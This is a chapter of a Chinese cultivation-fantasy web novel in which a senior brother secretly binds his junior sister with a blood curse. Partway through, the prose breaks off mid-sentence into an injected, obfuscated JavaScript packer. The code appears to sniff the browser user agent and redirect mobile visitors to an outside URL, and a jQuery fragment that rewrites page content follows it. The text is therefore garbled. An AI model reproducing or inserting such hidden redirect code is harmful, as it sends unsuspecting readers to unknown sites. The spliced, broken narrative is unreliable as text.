云梦泽中,有弟子还在控诉着。
“程师兄,你可一定要为我们做主啊!也不知道是哪个天杀的,居然放火杀了秘境,逼的我们只能捏碎玉牌提前结束历练!”
“程师兄,一定要找出这个纵火犯啊!他今日敢放火烧秘境,下次就敢放火烧宗门啊!”
程子京轻晃着手中的扇子,面上带着笑,像是好奇的询问,“有人放火烧了秘境?”
弟子控诉,“是啊!他真的太过分了!我们的历练就这样被迫结束了!”
“这样啊,那可真是可惜。”程子京状似惋惜的开口,他还想说些什么,就听见身后传来一道清冷的声音。
“仙门修士,却被一场火吓的落荒而逃,竟然还有脸来控诉别人。
秘境历练本就布满危险,面对这种突发情况,你们修为不够只能暂逃。我无意见,但你们在此控诉别人扰乱你们的历练,不觉得可笑吗?”
程子京扬眉,收了扇子看向来人。
女子穿着一袭淡蓝色弟子服,眉眼之间满是清冷。
刚刚还在哭诉着的弟子们顿时噤声。
程子京笑着开口,“姜师姐,都是一群涉世尚轻的小弟子,面对突发事情害怕也正常。”
姜且抬眸看他一眼,就听见他的传音,“听说温师妹也进了秘境?这放火烧秘境的事情,怎么听怎么像是她会做出来的事啊。”
姜且微微凝眉,同样用传音回他,“秘境内出了问题?”
程子京:我不是这个意思啊!
他险些忘了,面前这个掌门弟子,和沈云谏一样对温南浔有着八百层滤镜。
他正想着,却见还未到时间的秘境突然出现了一道通道。
姜且和程子京对视一眼,都看到彼此眼中的惊讶。
难道秘境真的出了问题?
直进入秘境弟子出现在他们面前,那开启秘境通道的法修神色惨白,又急切地开口。
“护身玉牌出了问题,温师妹和林师弟还在秘境之中!”
……
秘境一侧,林青陆一路向着秘境深处寻去,手中灵剑沾满了妖兽的鲜血。
血腥味吸引了妖兽,他的脚步一顿,缓缓的转身。
黑夜之中,一暗红的眼睛紧紧盯着他,月色映照出它的身形。
林青路握着剑的手收紧了几分。
这是一头,正处于暴怒之中的六阶妖兽!
他抹了下嘴角的血迹,看着身前妖兽,有些无奈,“这秘境里的妖兽,怎么都跟疯了一样。”
他一点点的后退,心中开始计算自己斩杀多只六阶妖兽的可能。
很可惜,胜算近乎为零。
而就是这时,空中一道银光闪过,面前的妖兽轰然倒地。
林青路看着妖兽伤口处的冰霜,有些发怔。
“沈师兄?”
另一处,温南浔垂着头,指尖鲜血滴落。
以血画符虽能将符咒的效用提升数十倍,但反噬极大,再加上先前强行动用玄玉佩,现在的她,已经再无半分灵力可用。
在这一刻,她再一次的看见梦中出现的那柄灵剑。
周遭昏暗孤寂,它被困在锁链之下,正缓缓地泛着荧光。
它很漂亮,剑身流转着霜华纹路,明媚张扬,让她忍不住想要触碰。
江听泉看着已经无力抵挡的少女,蛟蛇张着血口扑向她,做最后的反扑。
他撑着重伤的身体,想要再挥剑替她抵挡一二。
然而。
他看到,在蛟蛇靠近少女的方寸间,少女发丝飞扬,额间闪着银光,一道剑影出现在她身前,贯穿蛟蛇的头颅。
另一道剑影出浮现在她身后,繁花横生,绚烂,夺目。
它们缠绕着蛟蛇,艳丽的花瓣刺入它坚硬的鳞片之中。
蛟蛇甚至还保持着前扑的动作,花瓣缠绕着它身体,而那贯穿它头颅的剑影则是漫着寒气。
冰霜寸寸蔓延,前一刻还凶猛无比的蛟蛇此刻已是一座冰雕。
“咔嚓”
冰雕碎裂,砸落在地,周围的树木结上冰花。
那两道突然出现的剑影就如同来时一般突然消失不见,只留下满地剑气。
江听泉怔怔地抬头,看着少女身后的虚影,仙姿卓越,眉目清绝。
那道虚影温柔地托住往下跌的少女。
温南浔微微敛眉,看着眼前的一片素白,再抬眸间,那抹白衣身影翩然而至。
他好看的眉眼微拧着,清风吹动他的衣袖,也带来他温柔关切的声音。
“师妹……”
……
纱帐微动,书页翻动声中,床榻上的少女睫羽轻颤。
她的指尖无意识拂过素锦被面,冰凉触感令她缓缓睁眼,雕花木梁悬着半盏摇曳的残灯。
屏风上隐隐约约映着案桌前的身影,还有檀木桌上尚凝着冷雾的药碗。
感受着熟悉的清竹气息,温南浔终于回神。
她坐起,右手抚上胸口,短时间内受到两次反噬的灼烧感已经全部消失。
“醒了?”
沈云谏放下手中的书,侧眸望向她。
温南浔抿了抿唇,“师兄。”
他指尖凝起灵气轻搭在药碗上,汤药泛起缕缕热气,他轻声应了声。
“过来。”
温南浔从屏风后走出,接过他手中的汤药,看着黑乎乎的汤汁,有些抵触。
她尝试挣扎,“不能吃丹药吗?”
“汤药药效好。”沈云谏看着面前拧着眉的少女,将装着梨花糕的玉盘放到她身前,“喝吧。”
温南浔咬咬牙,将汤药一口闷下,苦涩刺激着舌尖,她拿起梨花糕,待到苦味压下后,才开始吐槽。
“药老的汤药还是那么苦!”
沈云谏好笑得看着她,修长的指尖落在她的发间,十分耐心地慢慢理着她散乱的发丝,动作熟练的为她辫好发髻。
“师兄在看什么?”温南浔目光落在他刚刚放下的书籍,古朴的质感不像是宗门内的书籍。
“偶然在秘境中得到一本古籍。”沈云谏说着,向她伸手。
温南浔刚又拿起一块梨花糕,看着突然伸在自己面前的手。
她缓慢地眨了眨眼,侧了头让他的掌心落在她的脸上。
沈云谏顿了下,轻笑了声,掐了下她脸侧的嫩肉。
而后收回手,将她伸向梨花糕的右手截胡。
他撩开她的半截衣袖,露出她纤细的腕间。
“师兄?”温南浔有些不解地轻声开口。
沈云谏执笔,动作轻柔的在她腕间画着繁杂的符文。
他声音温柔,“古籍上记载,以鲜血为引,在腕间画下符文,待你催动符文,我就能感知到你的位置。”
温南浔看着手腕上鲜红的符文,符文繁杂,沈云谏画得格外的耐心,直到画完,他搁下笔,符文发出点点金光。
沈云谏看着慢慢隐没在她的皮肉之下的符文,“日后,师妹只要催动符文,我就会来到你身边。”
温南浔左手抚上手腕,“师兄。”
她低声唤着,符文显现,静静地泛着光。
“我在。”沈云谏体会着咒术催动带来的奇异感受,师妹轻柔的声音同时在他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092948|195518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的耳畔和识海中响起。
他微微扬眉,桃花眼中满是愉悦。
温南浔低着头,指尖描摹着符文,“这咒术想来也没什么用,师兄事务繁忙,每次下山历练少则十日,多则三月。
我常年在宗门内,能有什么麻烦,便是有,等师兄归来就好了。”
“这不一样。”
“哪里不一样,难道我在你历练的时候唤你,你就会回来吗?”
沈云谏默了下,片刻后,他缓慢而坚定的回答,“我会。”
温南浔抬头,撞进他眼中。
“只要师妹想,我保证,半个时辰内,我必然出现在你身边。”
温南浔看着他眸中倒映着的自己,“任何时候都可以?”
“任何时候。”沈云谏抬手,指尖落在她的发间,“岁岁,我答应过你的,永远不会留下你一个人。”
温南浔拉下他的手,并不言语,只是一双有些湿漉漉的杏眼望着他,看得沈云谏心软。
他任由着少女抓着自己的衣袖,另一只手掌心摊开,浮现一个冰玉盒。
盒中,三枚扶桑果泛着点点冷冰雾。
“怎么有三枚?”温南浔有些迟疑,扶桑神木算是她和江听泉一起发现的,江听泉也因此受了不少伤,怎么说也不该分不到一枚扶桑果。
她看了眼面前端正高洁的身影,怎么看都不像是会是以势压人的样子。
沈云谏屈指轻敲了一下她额头,“想什么呢?自然是因为我许了他其他东西。”
师妹第一次进入秘境历练,他自然要把历练所得的扶桑果为她收好。
联想到江听泉对他的痴迷程度,温南浔顿时睁大了眼睛,“你只能有我一个师妹!”
沈云谏愣了下,“我当然只有岁岁一个师妹。”
温南浔又觉得不对,江听泉怎么说也该是师弟,无论怎么样他确实还是只有一个师妹。
沈云谏像是知道她在想什么,“不会有师弟,只有师妹一个。”
温南浔满意了,“那他怎么同意不要扶桑果的?”
“我将九州剑诀给了他。”
温南浔摆弄着扶桑果的动作停下,她有些迟疑,“你的成名剑诀?”
“不过一个剑诀。”
温南浔想要反驳,什么叫“不过一个剑诀”,当年的六宗大比,沈云谏以九州剑赢下高了他两个境界的剑宗首席大弟子,夺得魁首。
这么多年来,无数剑修想要复刻九州剑,其中不乏各大宗门的天才,可都不得精髓,这样一份剑诀,他居然为了换一颗扶桑子果给了出去!
“他在剑道上确实颇有天赋,九州在他手上不算埋没。好的剑诀,自然该有人学才好,不是吗?”
温南浔抿了抿唇,才不是呢,没有人可以模仿师兄。
她这样想着,却未出声。左右,旁人无论如何也学不来师兄的剑诀。
她的目光再次落在扶桑果上,“还得找药老要一下九州转还魂丹的炼制方法。”
正说着,一本古籍递到她眼前,她看着封面上“九转还魂丹”几个字,有些惊奇。
“师兄果然是全天下最好的师兄!”
沈云谏应下她这声奉承,“惯会哄我,去吧。”
温南浔接过古籍,欢快的抱了一下身前的人,而后起身离开。
蓝色的身影渐渐消失在视线之中。
桌案前,青年眼底的笑意慢慢淡去,他捂着胸口,轻咳了几声。
桌上摊开的古籍上记载着:
牵魂咒,施咒者以血奴心头血为引,于腕间刻下咒文,施咒者所受伤害,半数由血奴承担。